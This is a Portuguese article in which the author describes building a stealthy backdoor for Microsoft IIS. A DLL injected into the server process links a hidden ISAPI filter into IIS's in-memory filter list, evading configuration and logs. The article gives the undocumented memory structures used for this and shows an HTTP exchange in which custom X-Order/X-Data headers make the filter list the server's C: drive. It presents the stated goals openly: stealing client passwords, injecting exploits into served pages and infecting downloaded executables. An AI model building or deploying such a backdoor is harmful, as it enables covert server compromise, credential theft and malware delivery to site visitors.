
Backdoor furtivo no IIS usando filtro ISAPI oculto para acesso remoto persistente, exfiltração de dados e injeção de exploit em tempo real por meio de cabeçalhos HTTP personalizados.
Neste artigo, explicarei como projetei um rootkit para o Microsoft Internet Information Services (IIS). A pergunta é: por que um backdoor em um servidor web?
Primeira resposta óbvia, mas inútil: porque podemos.
Ok, vamos dar uma resposta mais inteligente. O propósito de colocar um backdoor em um servidor web é duplo:
Permite que o atacante acesse dados enviados pelos clientes. Por exemplo, se o site for protegido por senha, podemos recuperar essa senha.
Permite backdoor on the fly de qualquer coisa enviada do servidor para o cliente web.
Este segundo ponto é especialmente interessante, pois permite que o atacante injete o exploit adequado de acordo com o navegador web que está solicitando a página, ou infecte um executável baixado do servidor. Backdoor IIS
IIS é o servidor web da Microsoft, é uma peça importante das tecnologias web baseadas na Microsoft, como OWA. Muitas versões foram lançadas, desde a primeira (IIS 1.0 no Windows NT 3.51) até a mais recente (IIS 7.5 no Windows Server 2008). Ele é amplamente implantado na Internet e em Intranets de empresas. Enriquecimento do IIS
A Microsoft definiu uma API conhecida como ISAPI (Internet Server Application Programming Interface) para ajudar desenvolvedores a adicionar recursos ao IIS. Dois tipos de componentes podem ser adicionados ao IIS: extensões ou filtros. Extensões ISAPI
Extensões são DLLs que exportam 3 funções:
GetExtensionVersion
HttpExtensionProc
TerminateExtension
Extensões são aplicativos executados dentro do IIS. Elas são carregadas pelo IIS sempre que necessário. As extensões acessam o conteúdo de uma solicitação e são responsáveis por responder ao cliente. Por exemplo, se um cliente solicitar a página http://mydomain/myextension, onde myextension é sua extensão registrada, o HttpExtensionProc da sua extensão será chamado. O IIS fornecerá a seguinte estrutura:
typedef struct _EXTENSION_CONTROL_BLOCK EXTENSION_CONTROL_BLOCK {
DWORD cbSize;
DWORD dwVersion;
HCONN connID;
DWORD dwHttpStatusCode;
char lpszLogData[HSE_LOG_BUFFER_LEN];
LPSTR lpszMethod;
LPSTR lpszQueryString;
LPSTR lpszPathInfo;
LPSTR lpszPathTranslated;
DWORD cbTotalBytes;
DWORD cbAvailable;
LPBYTE lpbData;
LPSTR lpszContentType;
BOOL (WINAPI * GetServerVariable) ();
BOOL (WINAPI * WriteClient) ();
BOOL (WINAPI * ReadClient) ();
BOOL (WINAPI * ServerSupportFunction) ();
} EXTENSION_CONTROL_BLOCK;
Dessa forma, o HttpExtensionProc pode ler dados da solicitação, processá-los e enviar uma resposta usando as funções de callback ReadClient e WriteClient. Filtros ISAPI
Filtros são DLLs que exportam 3 funções:
GetFilterVersion
HttpFilterProc
TerminateFilter
Os filtros são registrados para uma série de eventos. Cada vez que um evento ocorre durante o ciclo de vida de uma solicitação, o HttpFilterProc é chamado. Aqui está uma lista incompleta de eventos para os quais um filtro pode se registrar:
SF_NOTIFY_PREPROC_HEADERS: ocorre quando o IIS termina o pré-processamento dos cabeçalhos.
SF_NOTIFY_SEND_RESPONSE: ocorre quando o IIS está pronto para enviar a resposta ao cliente.
SF_NOTIFY_END_OF_REQUEST: ocorre quando uma solicitação termina seu ciclo de vida.
SF_NOTIFY_LOG: ocorre antes de o IIS escrever o log para a solicitação atual.
Quando um evento para o qual um filtro está registrado ocorre, o HttpFilterProc do filtro é chamado e recebe uma estrutura, dependendo do tipo de evento. Por exemplo, se for um evento SF_NOTIFY_END_OF_REQUEST, a seguinte estrutura é passada ao filtro pelo IIS:
typedef struct _HTTP_FILTER_LOG HTTP_FILTER_LOG {
const char * pszClientHostName;
const char * pszClientUserName;
const char * pszServerName;
const char * pszOperation;
const char * pszTarget;
const char * pszParameters;
DWORD dwHttpStatus;
DWORD dwWin32Status;
DWORD dwBytesSent;
DWORD dwBytesRecvd;
DWORD msTimeForProcessing;
} HTTP_FILTER_LOG, * PHTTP_FILTER_LOG;
Esta estrutura contém todas as informações necessárias para um filtro registrar a solicitação de entrada. Visão geral de Extensões e Filtros
O esquema a seguir é uma apresentação geral de como filtros e extensões são alcançados por uma solicitação de cliente:
Schemaextfilts.png Filtro Oculto
Para implementar meu backdoor IIS, decidi usar o mecanismo de filtro IIS em vez do mecanismo de extensão. Principalmente por razões de sigilo. De fato, para alcançar uma extensão, os clientes precisam fazer uma solicitação para uma URL como esta: http://mydomain/myextension. Minha extensão apareceria então nos logs do servidor. Se eu usar um filtro, ele pode ser alcançado chamando qualquer página válida no servidor: este é um comportamento muito mais regular.
É possível registrar um filtro através do painel de configuração do IIS (dentro dos arquivos de configuração do IIS), mas isso não é nada sigiloso. Decidi adicionar o filtro manualmente dentro da lista encadeada de filtros do IIS. Para fazer isso, injeto minha DLL no processo do IIS, a DLL analisa o heap do processo do IIS e se registra manualmente na lista de filtros do IIS.
Dois tipos de estrutura são usados para manter a lista de filtros do IIS na memória. O primeiro é o seguinte:
typedef struct FILTER_LIST {
unsigned int Magic; "FLIS"
unsigned int unknown;
unsigned int NumberOfFilters;
PHTTP_FILTER_DLL * FilterPointerArray;
unsigned int unknown2[10];
unsigned int Flags1Sum;
unsigned int * Flags1;
unsigned int unknown3[10];
unsigned int Flags2Sum;
unsigned int * Flags2;
} FILTER_LIST , *PFILTER_LIST;
Possui os seguintes membros:
Magic: um DWORD mágico com o valor "FLIS".
NumberOfFilters: o número de filtros.
FilterPointerArray: um array de filtros.
Flags1Sum: a soma (com operador lógico OR) de eventos para os quais todos os filtros estão registrados.
Flags1: um array de flags para os quais cada filtro está registrado.
Cada filtro possui sua própria estrutura HTTP_FILTER_DLL, que é a seguinte:
struct _HTTP_FILTER_DLL{
unsigned int Magic ; "FDLL"
PHTTP_FILTER_DLL pPrevious;
PHTTP_FILTER_DLL pNext;
void * ModuleBaseAddress;
void * HttpFilterProc;
void * GetFilterVersion;
void * TerminateFilter;
unsigned int unknown1;
unsigned int AcceptFlags1;
unsigned int AcceptFlags2;
unsigned int unknown2;
char * DllPath;
unsigned intunknown3;
unsigned intunknown4;
char String[DLL_PATH_SIZE];
unsigned int unknown5;
} HTTP_FILTER_DLL, *PHTTP_FILTER_DLL;
Magic: um DWORD mágico com o valor "FDLL".
pPrevious, pNext: ponteiros para a estrutura HTTP_FILTER_DLL anterior e próxima na lista.
ModuleBaseAddress: endereço base da DLL do filtro.
HttpFilterProc: endereço da função HttpFilterProc do filtro.
AcceptFlags1: a soma (com operador lógico OR) de eventos para os quais o filtro está registrado.
O esquema a seguir mostra como os filtros do IIS estão organizados na memória:
SchemaListNoHidFilt.png
Conhecendo essa organização de memória, é fácil adicionar um novo filtro oculto na memória. Para fazer isso, precisamos encontrar a instância do FILTER_LIST no heap. Uma vez encontrada, basta adicionar uma nova estrutura HTTP_FILTER_DLL na lista HTTP_FILTER_DLL e adicionar uma referência a ela no array de filtros da estrutura FILTER_LIST:
SchemaListHidFilt.png Implementação do Backdoor
O backdoor funciona com um princípio muito simples. Os clientes enviam solicitações com cabeçalhos especiais contendo ordens e o filtro responde adicionando dados à resposta de saída. O filtro está registrado para os eventos SF_NOTIFY_PREPROC_HEADERS e SF_NOTIFY_SEND_RAW_DATA. Uma vez que uma solicitação de entrada chega, o filtro verifica se os cabeçalhos X-ORDER e/ou X-DATA estão presentes na solicitação. Se estiverem e se a ordem for conhecida, ele a executa e responde. Como nosso filtro é notificado para qualquer página do servidor, posso solicitar qualquer página no servidor para me comunicar com meu filtro. Basta adicionar cabeçalhos especiais a uma solicitação regular.
Se eu solicitar uma página simples (aqui /pwet.htm) sem adicionar cabeçalhos, o IIS tem um comportamento normal, ou seja, a resposta do IIS é a seguinte:
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
Connection: Keep-Alive
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:50 GMT
Content-Length: 31
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
Mas se eu solicitar a mesma página e adicionar uma ordem (aqui a ordem é "ListDir" de base64("C:") ), então tenho o seguinte resultado:
GET /pwet.htm HTTP/1.1
Host: 192.168.73.143
Accept-Encoding: identity
X-Order: ListDir
Connection: Keep-Alive
X-Data: Qzpc
Content-type: application/x-www-form-urlencoded
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 12:16:57 GMT
Content-Length: 353
X-Resp: OK
Content-Type: text/html
Last-Modified: Mon, 21 Jun 2010 11:53:19 GMT
Accept-Ranges: bytes
ETag: "963779573811cb1:994"
Server: Microsoft-IIS/6.0
<html>
Pouetpouet
</html>
[F] C:\AUTOEXEC.BAT
[F] C:\boot.ini
[F] C:\bootfont.bin
[F] C:\CONFIG.SYS
[D] C:\Documents and Settings
[D] C:\Inetpub
[F] C:\IO.SYS
[F] C:\MSDOS.SYS
[F] C:\NTDETECT.COM
[F] C:\ntldr
[F] C:\pagefile.sys
[D] C:\Program Files
[D] C:\System Volume Information
[D] C:\WINDOWS
[D] C:\wmpub
Portanto, colocar um backdoor em um servidor web IIS não é tão difícil e pode lhe dar muitas oportunidades...